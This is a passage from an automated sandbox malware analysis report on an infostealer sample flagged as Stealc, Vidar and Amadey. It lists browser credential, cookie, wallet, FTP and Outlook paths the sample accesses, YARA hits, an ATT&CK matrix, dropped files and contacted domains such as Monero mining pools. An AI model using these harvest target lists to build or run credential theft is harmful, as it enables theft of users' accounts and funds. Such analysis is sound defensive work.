Source: userBGCAFHCAKF.exe, 00000003.00000002.2042078594.0000000000E65000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: RoamingBKEHDGDGHC.exe, RoamingBKEHDGDGHC.exe, 00000015.00000002.2041200513.0000000001017000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: *Program Manager
Source: userBGCAFHCAKF.exe	Binary or memory string: o Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417630

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000343001\OneDrive.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000343001\OneDrive.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

0_2_00417420

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004172F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004174D0

Source: C:\Users\userBKFCAFCFBA.exe

Code function: 7_2_0040559A GetVersionExW,GetVersionExW,

7_2_0040559A

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 39.2.explorti.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.explorti.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 46.2.explorti.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.userBGCAFHCAKF.exe.c70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.RoamingBKEHDGDGHC.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.axplong.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.axplong.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000003.2037153735.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.2031536498.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2040917172.0000000000E21000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.2035282001.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1895700726.0000000005460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.2946034117.0000000000A51000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2079726776.0000000000A51000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2041622176.0000000000C71000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.2333444933.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1949969337.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.2334503880.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2073620835.0000000000611000.00000040.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2077974435.0000000000611000.00000040.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.2945747698.0000000000611000.00000040.00000001.01000000.00000018.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2140652830.0000000002678000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2458058128.0000000002526000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1a87deddda.exe PID: 10656, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6896, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: passphrase.json
Source: file.exe	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: Ethereum
Source: file.exe	String found in binary or memory: file__0.localstorage
Source: file.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6896, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2140652830.0000000002678000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2458058128.0000000002526000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1a87deddda.exe PID: 10656, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6896, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Native API	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	212 Process Injection	4 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	22 Software Packing	NTDS	347 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	771 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	45%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\userBGCAFHCAKF.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\userBGCAFHCAKF.exe	100%	Joe Sandbox ML
C:\Users\userBKFCAFCFBA.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\OneDrive[1].exe	37%	ReversingLabs	Win64.Trojan.Molotov
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\num[1].exe	92%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000343001\OneDrive.exe	37%	ReversingLabs	Win64.Trojan.Molotov
C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	58%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	58%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
chrome.cloudflare-dns.com	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
services.addons.mozilla.org	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
prod.remote-settings.prod.webservices.mozgcp.net	0%	Virustotal	Browse
pool-fr.supportxmr.com	3%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
www3.l.google.com	0%	Virustotal	Browse
youtube-ui.l.google.com	0%	Virustotal	Browse
ipv4only.arpa	0%	Virustotal	Browse
sni1gl.wpc.nucdn.net	0%	Virustotal	Browse
googlehosted.l.googleusercontent.com	0%	Virustotal	Browse
pool.supportxmr.com	9%	Virustotal	Browse
detectportal.firefox.com	0%	Virustotal	Browse
bzib.nelreports.net	0%	Virustotal	Browse
www.youtube.com	0%	Virustotal	Browse
accounts.youtube.com	0%	Virustotal	Browse
clients2.googleusercontent.com	0%	Virustotal	Browse
telemetry-incoming.r53-2.services.mozilla.com	0%	Virustotal	Browse
firefox.settings.services.mozilla.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
http://detectportal.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://www.youtube.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://g.live.com/odclientsettings/Prod.C:	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/	0%	URL Reputation	safe
https://www.msn.com	0%	URL Reputation	safe
